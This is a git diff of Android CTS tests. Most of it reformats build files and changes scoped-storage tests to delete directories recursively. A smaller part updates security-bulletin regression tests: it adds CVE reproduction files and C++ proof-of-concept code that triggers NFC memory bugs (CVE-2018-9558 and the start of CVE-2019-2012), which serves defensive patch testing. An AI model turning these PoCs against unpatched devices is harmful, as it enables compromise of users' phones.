"host/src/android/scopedstorage/cts/host/BaseHostTestCase.java", + ], + libs: [ + "cts-tradefed", + "tradefed", + "testng", + ], + test_suites: [ + "general-tests", + "mts-mediaprovider", + "cts", ], - libs: ["cts-tradefed", "tradefed", "testng"], - test_suites: ["general-tests", "mts-mediaprovider", "cts"], test_config: "CoreTest.xml", } java_test_host { name: "CtsScopedStorageHostTest", srcs: ["host/src/**/*.java"], - libs: ["cts-tradefed", "tradefed", "testng"], - test_suites: ["general-tests", "mts-mediaprovider", "cts"], + libs: [ + "cts-tradefed", + "tradefed", + "testng", + ], + static_libs: [ + "modules-utils-build-testing", + "compatibility-host-util", + ], + test_suites: [ + "general-tests", + "mts-mediaprovider", + "cts", + ], test_config: "AndroidTest.xml", data: [ ":CtsLegacyStorageTestAppRequestLegacy", @@ -205,20 +287,20 @@ java_test_host { java_test_host { name: "CtsScopedStoragePublicVolumeHostTest", srcs: ["host/src/**/*.java"], - libs: ["cts-tradefed", "tradefed", "testng"], - test_suites: ["general-tests", "mts-mediaprovider"], - test_config: "PublicVolumeTest.xml", -} - -java_test_host { - name: "CtsAppCloningHostTest", - srcs: [ - "host/src/android/scopedstorage/cts/host/AppCloningHostTest.java", - "host/src/android/scopedstorage/cts/host/BaseHostTestCase.java" + libs: [ + "cts-tradefed", + "tradefed", + "testng", + ], + static_libs: [ + "modules-utils-build-testing", + "compatibility-host-util", + ], + test_suites: [ + "general-tests", + "mts-mediaprovider", ], - libs: ["cts-tradefed", "tradefed", "testng"], - test_suites: ["general-tests", "mts-mediaprovider", "cts"], - test_config: "AndroidTestAppCloning.xml", + test_config: "PublicVolumeTest.xml", } android_test { @@ -226,13 +308,24 @@ android_test { manifest: "device/AndroidManifest.xml", test_config: "device/AndroidTest.xml", srcs: ["device/**/*.java"], - static_libs: ["truth-prebuilt", "cts-scopedstorage-lib",], + static_libs: [ + "truth-prebuilt", + "cts-scopedstorage-lib", + ], compile_multilib: "both", - test_suites: ["general-tests", "mts-mediaprovider", "cts"], + test_suites: [ + "general-tests", + "mts-mediaprovider", + "cts", + ], sdk_version: "test_current", target_sdk_version: "31", min_sdk_version: "30", - libs: ["android.test.base", "android.test.mock", "android.test.runner",], + libs: [ + "android.test.base", + "android.test.mock", + "android.test.runner", + ], java_resources: [ ":CtsScopedStorageTestAppA", ":CtsScopedStorageTestAppB", @@ -244,5 +337,5 @@ android_test { ":CtsScopedStorageTestAppFileManagerBypassDB", ":CtsScopedStorageTestAppSystemGalleryBypassDB", ":CtsScopedStorageTestAppSystemGallery30BypassDB", - ] + ], } diff --git a/hostsidetests/scopedstorage/AndroidTest.xml b/hostsidetests/scopedstorage/AndroidTest.xml index 42a3a362933..320d5417f17 100644 --- a/hostsidetests/scopedstorage/AndroidTest.xml +++ b/hostsidetests/scopedstorage/AndroidTest.xml @@ -28,6 +28,12 @@ <option name="test-file-name" value="CtsScopedStorageTestAppDLegacy.apk" /> <option name="test-file-name" value="CtsLegacyStorageTestAppRequestLegacy.apk" /> </target_preparer> + + <option + name="config-descriptor:metadata" + key="mainline-param" + value="com.google.android.mediaprovider.apex" /> + <test class="com.android.tradefed.testtype.HostTest" > <option name="class" value="android.scopedstorage.cts.host.LegacyStorageHostTest" /> <option name="class" value="android.scopedstorage.cts.host.PreserveLegacyStorageHostTest" /> diff --git a/hostsidetests/scopedstorage/CoreTest.xml b/hostsidetests/scopedstorage/CoreTest.xml index 5b725e1a853..325807d45c3 100644 --- a/hostsidetests/scopedstorage/CoreTest.xml +++ b/hostsidetests/scopedstorage/CoreTest.xml @@ -27,6 +27,12 @@ <option name="test-file-name" value="CtsScopedStorageTestAppB.apk" /> <option name="test-file-name" value="CtsScopedStorageTestAppDLegacy.apk" /> </target_preparer> + + <option + name="config-descriptor:metadata" + key="mainline-param" + value="com.google.android.mediaprovider.apex" /> + <test class="com.android.tradefed.testtype.HostTest" > <option name="class" value="android.scopedstorage.cts.host.ScopedStorageCoreHostTest" /> </test> diff --git a/hostsidetests/scopedstorage/ScopedStorageTestHelper/src/android/scopedstorage/cts/ScopedStorageTestHelper.java b/hostsidetests/scopedstorage/ScopedStorageTestHelper/src/android/scopedstorage/cts/ScopedStorageTestHelper.java index a93aeee3c98..ee63a8abf13 100644 --- a/hostsidetests/scopedstorage/ScopedStorageTestHelper/src/android/scopedstorage/cts/ScopedStorageTestHelper.java +++ b/hostsidetests/scopedstorage/ScopedStorageTestHelper/src/android/scopedstorage/cts/ScopedStorageTestHelper.java @@ -24,6 +24,7 @@ import static android.scopedstorage.cts.lib.TestUtils.CHECK_DATABASE_ROW_EXISTS_ import static android.scopedstorage.cts.lib.TestUtils.CREATE_FILE_QUERY; import static android.scopedstorage.cts.lib.TestUtils.CREATE_IMAGE_ENTRY_QUERY; import static android.scopedstorage.cts.lib.TestUtils.DELETE_FILE_QUERY; +import static android.scopedstorage.cts.lib.TestUtils.DELETE_RECURSIVE_QUERY; import static android.scopedstorage.cts.lib.TestUtils.INTENT_EXCEPTION; import static android.scopedstorage.cts.lib.TestUtils.INTENT_EXTRA_CALLING_PKG; import static android.scopedstorage.cts.lib.TestUtils.INTENT_EXTRA_PATH; @@ -40,6 +41,7 @@ import static android.scopedstorage.cts.lib.TestUtils.RENAME_FILE_PARAMS_SEPARAT import static android.scopedstorage.cts.lib.TestUtils.RENAME_FILE_QUERY; import static android.scopedstorage.cts.lib.TestUtils.SETATTR_QUERY; import static android.scopedstorage.cts.lib.TestUtils.canOpen; +import static android.scopedstorage.cts.lib.TestUtils.deleteRecursively; import static android.scopedstorage.cts.lib.TestUtils.getFileRowIdFromDatabase; import static android.scopedstorage.cts.lib.TestUtils.getImageContentUri; @@ -93,6 +95,7 @@ public class ScopedStorageTestHelper extends Activity { case CAN_READ_WRITE_QUERY: case CREATE_FILE_QUERY: case DELETE_FILE_QUERY: + case DELETE_RECURSIVE_QUERY: case CAN_OPEN_FILE_FOR_READ_QUERY: case CAN_OPEN_FILE_FOR_WRITE_QUERY: case OPEN_FILE_FOR_READ_QUERY: @@ -263,6 +266,9 @@ public class ScopedStorageTestHelper extends Activity { case DELETE_FILE_QUERY: intent.putExtra(queryType, file.delete()); return intent; + case DELETE_RECURSIVE_QUERY: + intent.putExtra(queryType, deleteRecursively(file)); + return intent; case SETATTR_QUERY: int newTimeMillis = 12345000; intent.putExtra(queryType, file.setLastModified(newTimeMillis)); diff --git a/hostsidetests/scopedstorage/device/AndroidTest.xml b/hostsidetests/scopedstorage/device/AndroidTest.xml index 7e6f8953ed5..5730b2e2826 100644 --- a/hostsidetests/scopedstorage/device/AndroidTest.xml +++ b/hostsidetests/scopedstorage/device/AndroidTest.xml @@ -23,6 +23,11 @@ <option name="test-file-name" value="CtsScopedStorageTestAppFileManager.apk" /> </target_preparer> + <option + name="config-descriptor:metadata" + key="mainline-param" + value="com.google.android.mediaprovider.apex" /> + <option name="config-descriptor:metadata" key="component" value="framework" /> <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" /> <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" /> diff --git a/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageDeviceTest.java b/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageDeviceTest.java index 74ed31999aa..c684ee25c8c 100644 --- a/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageDeviceTest.java +++ b/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageDeviceTest.java @@ -45,6 +45,7 @@ import static android.scopedstorage.cts.lib.TestUtils.createFileAs; import static android.scopedstorage.cts.lib.TestUtils.deleteFileAs; import static android.scopedstorage.cts.lib.TestUtils.deleteFileAsNoThrow; import static android.scopedstorage.cts.lib.TestUtils.deleteRecursively; +import static android.scopedstorage.cts.lib.TestUtils.deleteRecursivelyAs; import static android.scopedstorage.cts.lib.TestUtils.deleteWithMediaProvider; import static android.scopedstorage.cts.lib.TestUtils.deleteWithMediaProviderNoThrow; import static android.scopedstorage.cts.lib.TestUtils.denyAppOpsToUid; @@ -210,7 +211,7 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest { "CtsScopedStorageTestAppFileManager.apk"); // A legacy targeting app with RES and WES permissions private static final TestApp APP_D_LEGACY_HAS_RW = new TestApp("TestAppDLegacy", - "android.scopedstorage.cts.testapp.D", 1, false, "CtsScopedStorageTestAppCLegacy.apk"); + "android.scopedstorage.cts.testapp.D", 1, false, "CtsScopedStorageTestAppDLegacy.apk"); // The following apps are not installed at test startup - please install before using. private static final TestApp APP_C = new TestApp("TestAppC", @@ -524,7 +525,7 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest { public void testCreateAndDeleteEmptyDir() throws Exception { final File externalFilesDir = getExternalFilesDir(); // Remove directory in order to create it again - externalFilesDir.delete(); + deleteRecursively(externalFilesDir); // Can create own external files dir assertThat(externalFilesDir.mkdir()).isTrue(); @@ -538,9 +539,9 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest { assertThat(dir2.mkdir()).isTrue(); // And can delete them all - assertThat(dir2.delete()).isTrue(); - assertThat(dir1.delete()).isTrue(); - assertThat(externalFilesDir.delete()).isTrue(); + assertThat(deleteRecursively(dir2)).isTrue(); + assertThat(deleteRecursively(dir1)).isTrue(); + assertThat(deleteRecursively(externalFilesDir)).isTrue(); // Can't create external dir for other apps final File nonexistentPackageFileDir = new File( @@ -618,7 +619,7 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest { // At this point, we're not sure who created this file, so we'll have both apps // deleting it mediaFile.delete(); - dirInDownload.delete(); + deleteRecursively(dirInDownload); } } @@ -755,7 +756,7 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest { assertThat(dir.list()).asList().doesNotContain(videoFileName); } finally { deleteFileAsNoThrow(APP_B_NO_PERMS, videoFile.getPath()); - dir.delete(); + deleteRecursively(dir); } } @@ -787,7 +788,7 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest { assertThat(listAs(APP_A_HAS_RES, dir.getPath())).doesNotContain(pdfFileName); } finally { deleteFileAsNoThrow(APP_B_NO_PERMS, pdfFile.getPath()); - dir.delete(); + deleteRecursively(dir); } } @@ -1161,7 +1162,7 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest { try { // Delete the directory if it already exists if (podcastsDir.exists()) { - deleteAsLegacyApp(podcastsDir); + deleteRecursivelyAsLegacyApp(podcastsDir); } assertThat(podcastsDir.exists()).isFalse(); assertThat(podcastsDirLowerCase.exists()).isFalse(); @@ -1582,7 +1583,7 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest { videoFile1.delete(); videoFile2.delete(); videoFile3.delete(); - nonMediaDir.delete(); + deleteRecursively(nonMediaDir); } } @@ -1758,15 +1759,15 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest { } finally { pdfFile.delete(); - nonMediaDirectory.delete(); + deleteRecursively(nonMediaDirectory); videoFile1.delete(); videoFile2.delete(); videoFile3.delete(); - mediaDirectory1.delete(); - mediaDirectory2.delete(); - mediaDirectory3.delete(); - mediaDirectory4.delete(); + deleteRecursively(mediaDirectory1); + deleteRecursively(mediaDirectory2); + deleteRecursively(mediaDirectory3); + deleteRecursively(mediaDirectory4); } } @@ -1792,7 +1793,8 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest { assertThat(deleteFileAs(APP_B_NO_PERMS, videoFile.getAbsolutePath())).isTrue(); } finally { deleteFileAsNoThrow(APP_B_NO_PERMS, videoFile.getAbsolutePath()); - mediaDirectory1.delete(); + deleteRecursively(mediaDirectory1); + deleteRecursively(mediaDirectory2); } } @@ -1811,8 +1813,8 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest { assertThat(emptyDirectoryOldPath.mkdirs()).isTrue(); assertCanRenameDirectory(emptyDirectoryOldPath, emptyDirectoryNewPath, null, null); } finally { - emptyDirectoryOldPath.delete(); - emptyDirectoryNewPath.delete(); + deleteRecursively(emptyDirectoryOldPath); + deleteRecursively(emptyDirectoryNewPath); } } @@ -1936,8 +1938,8 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest { } finally { hiddenImageFile.delete(); imageFile.delete(); - hiddenDir.delete(); - nonHiddenDir.delete(); + deleteRecursively(hiddenDir); + deleteRecursively(nonHiddenDir); } } @@ -1976,7 +1978,7 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest { noMediaFile.delete(); imageFile.delete(); videoFile.delete(); - directoryNoMedia.delete(); + deleteRecursively(directoryNoMedia); } } @@ -2354,8 +2356,8 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest { otherAppVideoFile2.delete(); otherAppPdfFile1.delete(); otherAppPdfFile2.delete(); - dirInDcim.delete(); - dirInPictures.delete(); + deleteRecursively(dirInDcim); + deleteRecursively(dirInPictures); denyAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS); } } @@ -2479,8 +2481,8 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest { fileSpecialChars.delete(); fileSpecialChars1.delete(); fileSpecialChars2.delete(); - dirSpecialChars.delete(); - renamedDir.delete(); + deleteRecursively(dirSpecialChars); + deleteRecursively(renamedDir); } } @@ -2550,7 +2552,7 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest { } finally { deleteAsLegacyApp(topLevelDir1); deleteAsLegacyApp(topLevelDir2); - nonTopLevelDir.delete(); + deleteRecursively(nonTopLevelDir); } } @@ -3380,4 +3382,14 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest { Log.d(TAG, "Deleting file " + file); deleteFileAs(APP_D_LEGACY_HAS_RW, file.getAbsolutePath()); } + + /** + * Deletes the given file/directory recursively. If the file is a directory, then deletes all + * of its children (files or directories) recursively. + */ + private void deleteRecursivelyAsLegacyApp(File dir) throws Exception { + // Use a legacy app to delete this directory, since it could be outside shared storage. + Log.d(TAG, "Deleting directory " + dir); + deleteRecursivelyAs(APP_D_LEGACY_HAS_RW, dir.getAbsolutePath()); + } } diff --git a/hostsidetests/scopedstorage/legacy/src/android/scopedstorage/cts/legacy/LegacyStorageTest.java b/hostsidetests/scopedstorage/legacy/src/android/scopedstorage/cts/legacy/LegacyStorageTest.java index e3b08bbb5e4..07383ac7a5c 100644 --- a/hostsidetests/scopedstorage/legacy/src/android/scopedstorage/cts/legacy/LegacyStorageTest.java +++ b/hostsidetests/scopedstorage/legacy/src/android/scopedstorage/cts/legacy/LegacyStorageTest.java @@ -33,6 +33,7 @@ import static android.scopedstorage.cts.lib.TestUtils.checkPermission; import static android.scopedstorage.cts.lib.TestUtils.createFileAs; import static android.scopedstorage.cts.lib.TestUtils.createImageEntryAs; import static android.scopedstorage.cts.lib.TestUtils.deleteFileAsNoThrow; +import static android.scopedstorage.cts.lib.TestUtils.deleteRecursively; import static android.scopedstorage.cts.lib.TestUtils.deleteWithMediaProviderNoThrow; import static android.scopedstorage.cts.lib.TestUtils.denyAppOpsToUid; import static android.scopedstorage.cts.lib.TestUtils.executeShellCommand; @@ -351,7 +352,7 @@ public class LegacyStorageTest { try { assertThat(newDir.mkdir()).isFalse(); } finally { - newDir.delete(); + deleteRecursively(newDir); } } @@ -436,8 +437,8 @@ public class LegacyStorageTest { pdfFile1.delete(); pdfFile2.delete(); - nonMediaDir1.delete(); - nonMediaDir2.delete(); + deleteRecursively(nonMediaDir1); + deleteRecursively(nonMediaDir2); } } @@ -548,8 +549,8 @@ public class LegacyStorageTest { // UNIQUE constraint error. TestUtils.renameWithMediaProvider(directoryOldPath, directoryNewPath); } finally { - directoryOldPath.delete(); - directoryNewPath.delete(); + deleteRecursively(directoryOldPath); + deleteRecursively(directoryNewPath); } } @@ -725,7 +726,7 @@ public class LegacyStorageTest { imageInNoMediaDir.delete(); renamedImageInDCIM.delete(); noMediaFile.delete(); - directoryNoMedia.delete(); + deleteRecursively(directoryNoMedia); } } @@ -909,7 +910,7 @@ public class LegacyStorageTest { } finally { imageFile.delete(); imageFileInTopLevelDir.delete(); - topLevelTestDirectory.delete(); + deleteRecursively(topLevelTestDirectory); denyAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS); } } diff --git a/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java b/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java index 47c2e9c1f7f..a04b86fed22 100644 --- a/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java +++ b/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java @@ -99,6 +99,7 @@ public class TestUtils { public static final String CREATE_IMAGE_ENTRY_QUERY = "android.scopedstorage.cts.createimageentry"; public static final String DELETE_FILE_QUERY = "android.scopedstorage.cts.deletefile"; + public static final String DELETE_RECURSIVE_QUERY = "android.scopedstorage.cts.deleteRecursive"; public static final String CAN_OPEN_FILE_FOR_READ_QUERY = "android.scopedstorage.cts.can_openfile_read"; public static final String CAN_OPEN_FILE_FOR_WRITE_QUERY = @@ -296,6 +297,17 @@ public class TestUtils { } /** + * Makes the given {@code testApp} delete a file or directory. + * If the file is a directory, then deletes all of its children (file or directories) + * recursively. + * + * <p>This method drops shell permission identity. + */ + public static boolean deleteRecursivelyAs(TestApp testApp, String path) throws Exception { + return getResultFromTestApp(testApp, path, DELETE_RECURSIVE_QUERY); + } + + /** * Makes the given {@code testApp} delete a file. Doesn't throw in case of failure. */ public static boolean deleteFileAsNoThrow(TestApp testApp, String path) { @@ -966,8 +978,9 @@ public class TestUtils { final File otherAppExternalDataDir = new File(getExternalFilesDir().getPath().replace( callingPackageName, otherApp.getPackageName())); final File file = new File(otherAppExternalDataDir, fileName); - assertThat(createFileAs(otherApp, file.getPath())).isTrue(); try { + assertThat(createFileAs(otherApp, file.getPath())).isTrue(); + final ContentValues valuesWithData = new ContentValues(); valuesWithData.put(MediaStore.MediaColumns.DATA, file.getAbsolutePath()); try { @@ -999,7 +1012,7 @@ public class TestUtils { } catch (IllegalArgumentException expected) { } } finally { - assertThat(deleteFileAs(otherApp, file.getPath())).isTrue(); + deleteFileAsNoThrow(otherApp, file.getPath()); } } @@ -1019,33 +1032,38 @@ public class TestUtils { final File otherAppExternalDataDir = new File(getExternalFilesDir().getPath().replace( callingPackageName, otherApp.getPackageName())); final File file = new File(otherAppExternalDataDir, fileName); - assertThat(createFileAs(otherApp, file.getPath())).isTrue(); - MediaStore.scanFile(getContentResolver(), file); - - final ContentValues valuesWithData = new ContentValues(); - valuesWithData.put(MediaStore.MediaColumns.DATA, file.getAbsolutePath()); try { - int res = getContentResolver().update(MediaStore.Files.getContentUri(VOLUME_EXTERNAL), - valuesWithData, Bundle.EMPTY); + assertThat(createFileAs(otherApp, file.getPath())).isTrue(); + MediaStore.scanFile(getContentResolver(), file); - if (throwsExceptionForDataValue) { - fail("File update expected to fail: " + file); - } else { - assertThat(res).isEqualTo(0); + final ContentValues valuesWithData = new ContentValues(); + valuesWithData.put(MediaStore.MediaColumns.DATA, file.getAbsolutePath()); + try { + int res = getContentResolver().update( + MediaStore.Files.getContentUri(VOLUME_EXTERNAL), + valuesWithData, Bundle.EMPTY); + + if (throwsExceptionForDataValue) { + fail("File update expected to fail: " + file); + } else { + assertThat(res).isEqualTo(0); + } + } catch (IllegalArgumentException expected) { } - } catch (IllegalArgumentException expected) { - } - final ContentValues valuesWithRelativePath = new ContentValues(); - final String path = file.getAbsolutePath(); - valuesWithRelativePath.put(MediaStore.MediaColumns.RELATIVE_PATH, - path.substring(path.indexOf("Android"))); - valuesWithRelativePath.put(MediaStore.MediaColumns.DISPLAY_NAME, fileName); - try { - getContentResolver().update(MediaStore.Files.getContentUri(VOLUME_EXTERNAL), - valuesWithRelativePath, Bundle.EMPTY); - fail("File update expected to fail: " + file); - } catch (IllegalArgumentException expected) { + final ContentValues valuesWithRelativePath = new ContentValues(); + final String path = file.getAbsolutePath(); + valuesWithRelativePath.put(MediaStore.MediaColumns.RELATIVE_PATH, + path.substring(path.indexOf("Android"))); + valuesWithRelativePath.put(MediaStore.MediaColumns.DISPLAY_NAME, fileName); + try { + getContentResolver().update(MediaStore.Files.getContentUri(VOLUME_EXTERNAL), + valuesWithRelativePath, Bundle.EMPTY); + fail("File update expected to fail: " + file); + } catch (IllegalArgumentException expected) { + } + } finally { + deleteFileAsNoThrow(otherApp, file.getPath()); } } diff --git a/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java b/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java index 61287450357..ebc8f1047c1 100644 --- a/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java +++ b/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java @@ -32,6 +32,7 @@ import static android.scopedstorage.cts.lib.TestUtils.canReadAndWriteAs; import static android.scopedstorage.cts.lib.TestUtils.createFileAs; import static android.scopedstorage.cts.lib.TestUtils.deleteFileAs; import static android.scopedstorage.cts.lib.TestUtils.deleteFileAsNoThrow; +import static android.scopedstorage.cts.lib.TestUtils.deleteRecursively; import static android.scopedstorage.cts.lib.TestUtils.dropShellPermissionIdentity; import static android.scopedstorage.cts.lib.TestUtils.executeShellCommand; import static android.scopedstorage.cts.lib.TestUtils.getAndroidDir; @@ -144,7 +145,7 @@ public class ScopedStorageTest { "CtsScopedStorageTestAppB.apk"); // A legacy targeting app with RES and WES permissions private static final TestApp APP_D_LEGACY_HAS_RW = new TestApp("TestAppDLegacy", - "android.scopedstorage.cts.testapp.D", 1, false, "CtsScopedStorageTestAppCLegacy.apk"); + "android.scopedstorage.cts.testapp.D", 1, false, "CtsScopedStorageTestAppDLegacy.apk"); @Before public void setup() throws Exception { @@ -329,7 +330,8 @@ public class ScopedStorageTest { final File otherAppExternalDataDir = new File(getExternalFilesDir().getPath().replace( THIS_PACKAGE_NAME, APP_B_NO_PERMS.getPackageName())); final File otherAppExternalDataSubDir = new File(otherAppExternalDataDir, "subdir"); - final File otherAppExternalDataFile = new File(otherAppExternalDataSubDir, "abc.jpg"); + final File otherAppExternalDataFile = + new File(otherAppExternalDataSubDir, IMAGE_FILE_NAME); assertThat(createFileAs(APP_B_NO_PERMS, otherAppExternalDataFile.getAbsolutePath())) .isTrue(); @@ -519,7 +521,7 @@ public class ScopedStorageTest { nomediaFile.delete(); mediaFile.delete(); renamedMediaFile.delete(); - nomediaDir.delete(); + deleteRecursively(nomediaDir); } } @@ -556,8 +558,8 @@ public class ScopedStorageTest { mediaFile1InSubDir.delete(); mediaFile2InSubDir.delete(); topLevelNomediaFile.delete(); - nomediaSubDir.delete(); - nomediaDir.delete(); + deleteRecursively(nomediaSubDir); + deleteRecursively(nomediaDir); // Scan the directory to remove stale db rows. MediaStore.scanFile(getContentResolver(), nomediaDir); } @@ -904,8 +906,8 @@ public class ScopedStorageTest { imageFile.delete(); renamedImageFile.delete(); imageFileInRenamedDir.delete(); - dir.delete(); - renamedDir.delete(); + deleteRecursively(dir); + deleteRecursively(renamedDir); } } diff --git a/hostsidetests/securitybulletin/Android.bp b/hostsidetests/securitybulletin/Android.bp index d3e6ea7c486..7770ebde437 100644 --- a/hostsidetests/securitybulletin/Android.bp +++ b/hostsidetests/securitybulletin/Android.bp @@ -29,9 +29,10 @@ java_test_host { ], // Must match the package name in CtsTestCaseList.mk libs: [ + "compatibility-host-util", "cts-tradefed", + "sts-host-util", "tradefed", - "compatibility-host-util", ], } diff --git a/hostsidetests/securitybulletin/res/cve_2020_0034.ivf b/hostsidetests/securitybulletin/res/cve_2020_0034.ivf Binary files differnew file mode 100644 index 00000000000..d03c2469bad --- /dev/null +++ b/hostsidetests/securitybulletin/res/cve_2020_0034.ivf diff --git a/hostsidetests/securitybulletin/res/cve_2021_39664 b/hostsidetests/securitybulletin/res/cve_2021_39664 Binary files differnew file mode 100644 index 00000000000..21f7d245d99 --- /dev/null +++ b/hostsidetests/securitybulletin/res/cve_2021_39664 diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9558/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9558/poc.cpp index e20c0f222d0..8494e2c422d 100644 --- a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9558/poc.cpp +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9558/poc.cpp @@ -1,5 +1,5 @@ /* - * Copyright (C) 2021 The Android Open Source Project + * Copyright (C) 2022 The Android Open Source Project * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. @@ -23,6 +23,16 @@ #define INITIAL_VALUE 0xBE #define NUM_BYTES 1 +bool isTestInProgress = false; +struct sigaction new_action, old_action; +void sigabrt_handler(int signum, siginfo_t *info, void *context) { + if (isTestInProgress && info->si_signo == SIGABRT) { + (*old_action.sa_sigaction)(signum, info, context); + return; + } + exit(EXIT_FAILURE); +} + extern tRW_CB rw_cb; void rw_init(void); void rw_t2t_handle_rsp(uint8_t *p_data); @@ -33,18 +43,32 @@ void poc_cback(tRW_EVENT event, tRW_DATA *p_rw_data) { } int main() { - tRW_T2T_CB *p_t2t = &rw_cb.tcb.t2t; - rw_init(); - rw_cb.p_cback = &poc_cback; - p_t2t->state = RW_T2T_STATE_DETECT_TLV; - p_t2t->tlv_detect = TAG_LOCK_CTRL_TLV; - p_t2t->substate = RW_T2T_SUBSTATE_WAIT_READ_TLV_VALUE; - p_t2t->found_tlv = TAG_LOCK_CTRL_TLV; - p_t2t->bytes_count = NUM_BYTES; - p_t2t->tlv_value[1] = UINT8_MAX; - uint8_t *base_ptr = (uint8_t *)(p_t2t->lockbyte + RW_T1T_MAX_LOCK_BYTES); - memset((void *)base_ptr, INITIAL_VALUE, sizeof(tRW_T1T_LOCK)); - uint8_t data[T2T_READ_DATA_LEN]; - rw_t2t_handle_rsp(data); - return EXIT_SUCCESS; + sigemptyset(&new_action.sa_mask); + new_action.sa_flags = SA_SIGINFO; + new_action.sa_sigaction = sigabrt_handler; + sigaction(SIGABRT, &new_action, &old_action); + + tNFC_ACTIVATE_DEVT p_activate_params = {}; + p_activate_params.protocol = NFC_PROTOCOL_ISO_DEP; + p_activate_params.rf_tech_param.mode = NFC_DISCOVERY_TYPE_POLL_A; + RW_SetActivatedTagType(&p_activate_params, &poc_cback); + FAIL_CHECK(rw_cb.p_cback == &poc_cback); + + tRW_T2T_CB *p_t2t = &rw_cb.tcb.t2t; + rw_init(); + rw_cb.p_cback = &poc_cback; + p_t2t->state = RW_T2T_STATE_DETECT_TLV; + p_t2t->tlv_detect = TAG_LOCK_CTRL_TLV; + p_t2t->substate = RW_T2T_SUBSTATE_WAIT_READ_TLV_VALUE; + p_t2t->found_tlv = TAG_LOCK_CTRL_TLV; + p_t2t->bytes_count = NUM_BYTES; + p_t2t->tlv_value[1] = UINT8_MAX; + p_t2t->p_cur_cmd_buf = (NFC_HDR *)GKI_getpoolbuf(NFC_RW_POOL_ID); + uint8_t *base_ptr = (uint8_t *)(p_t2t->lockbyte + RW_T1T_MAX_LOCK_BYTES); + memset((void *)base_ptr, INITIAL_VALUE, sizeof(tRW_T1T_LOCK)); + uint8_t data[T2T_READ_DATA_LEN]; + isTestInProgress = true; + rw_t2t_handle_rsp(data); + isTestInProgress = false; + return EXIT_SUCCESS; } diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2012/Android.bp index 2c9502b68aa..78f51bd2e4a 100644 --- a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/Android.bp +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2012/Android.bp @@ -15,33 +15,28 @@ * */ +package { + default_applicable_licenses: ["Android-Apache-2.0"], +} + cc_test { - name: "CVE-2021-0684", + name: "CVE-2019-2012", defaults: ["cts_hostsidetests_securitybulletin_defaults"], - header_libs: [ - "libbatteryservice_headers", - ], srcs: [ "poc.cpp", - "TestInputListener.cpp", ":cts_hostsidetests_securitybulletin_memutils", ], - cflags: [ - "-DCHECK_OVERFLOW", - "-DCHECK_USE_AFTER_FREE_WITH_WINDOW_SIZE=4096", - "-Wno-unused-parameter", - ], - static_libs: [ - "libinputdispatcher", + compile_multilib: "64", + include_dirs: [ + "system/nfc/src/nfc/include", + "system/nfc/src/include/", + "system/nfc/src/gki/common/", + "system/nfc/src/gki/ulinux", ], shared_libs: [ - "libinputflinger_base", - "libinputreader", - "libinputflinger", - "libinputreader", - "libbase", - "libinput", - "liblog", - "libutils", + "libnfc-nci", + ], + cflags: [ + "-DCHECK_OVERFLOW", ], } diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2012/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2012/poc.cpp new file mode 100644 index 00000000000..97556ba9501 --- /dev/null +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2012/poc.cpp @@ -0,0 +1,175 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#include <nfc_api.h> +#include <nfc_int.h> +#include <rw_int.h> +#include <stdlib.h> +#include 